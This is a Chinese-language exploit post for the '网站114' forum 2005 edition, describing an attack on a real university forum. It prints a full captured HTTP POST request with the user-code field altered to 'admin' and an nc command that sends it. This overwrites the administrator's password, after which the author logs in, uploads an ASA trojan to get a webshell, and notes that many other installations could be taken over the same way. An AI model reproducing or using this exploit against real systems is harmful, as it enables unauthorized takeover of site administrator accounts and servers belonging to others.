0
关键字: "版权所有 设计制作:网站114"
漏洞描述: 网站114论坛 2005版正式 /edituserdb.asp 对提交数据和cooikes缺乏验证 导致任意用户可以修改管理员密码 默认后台admin/index.asp
今天在旁注一个机房的机器时用了一下。
http://www.gxmu.net.cn/xzl/BBS/index.asp
广西医科大学网站上的一个论坛。
注册了一个用户33221.
然后跳转到 /edituserdb.asp,单击“修改注册”开始抓包!
用记事本保存抓包内容如下: -----------------------------------------------------------------------------------------------------------
POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */* Referer: http://www.gxmu.net.cn/xzl/BBS//edituserdb.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon) Host: www.gxmu.net.cn Content-Length: 2304 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUserCode"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtConfirmPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtQuestion"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtAnswer"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUserName"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="selSex"
先生 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtNick"
11 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtProvince"
111 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtAddress"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtPostCode"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtTel"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtMobile"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtFax"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtEmail"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUrl"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtfile"; filename="" Content-Type: application/octet-stream
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtOicq"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtDocument"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="submit"
修改注册信息 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtId"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtTempId"
-----------------------------7d61e41d605f6--
------------------------------------------------------------------------------------------------------------
其中:“ -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUserCode"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtConfirmPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtQuestion"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtAnswer"
33221 -----------------------------7d61e41d605f6 ”
修改第一个"33221"为“admin”保存11.txt文本为:
POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */* Referer: http://www.gxmu.net.cn/xzl/BBS//edituserdb.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon) Host: www.gxmu.net.cn Content-Length: 2304 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUserCode"
admin -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtConfirmPassword"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtQuestion"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtAnswer"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUserName"
33221 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="selSex"
先生 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtNick"
11 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtProvince"
111 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtAddress"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtPostCode"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtTel"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtMobile"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtFax"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtEmail"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtUrl"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtfile"; filename="" Content-Type: application/octet-stream
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtOicq"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtDocument"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="submit"
修改注册信息 -----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtId"
-----------------------------7d61e41d605f6 Content-Disposition: form-data; name="txtTempId"
-----------------------------7d61e41d605f6--
这里因为我注册的用户名33221与admin长度一至,所以这里不用修改字节长度。
然后用nc提交到服务器
nc www.gxmu.net.cn 80 <11.txt
返回提示修改会员资料成功。
然后用admin 密码为申请33221的密码一至登录。
当然就是管理员权限了,然后登录后台,点击“修改栏目”,上传asa木马,ok,拿到webshll。
看了一下,这个论坛系统还没有出补丁,可以拿大批webshell了,不过我只要了对我比较有用的一个服务器,其它的没有去抓了。
还有不清楚的,可以看下动画演示,http://www.ncph.net/soft/114论坛最新漏洞利用动画.rar
垃圾漏洞,这里是弄给菜鸟看的,高人不要骂我。
[1] |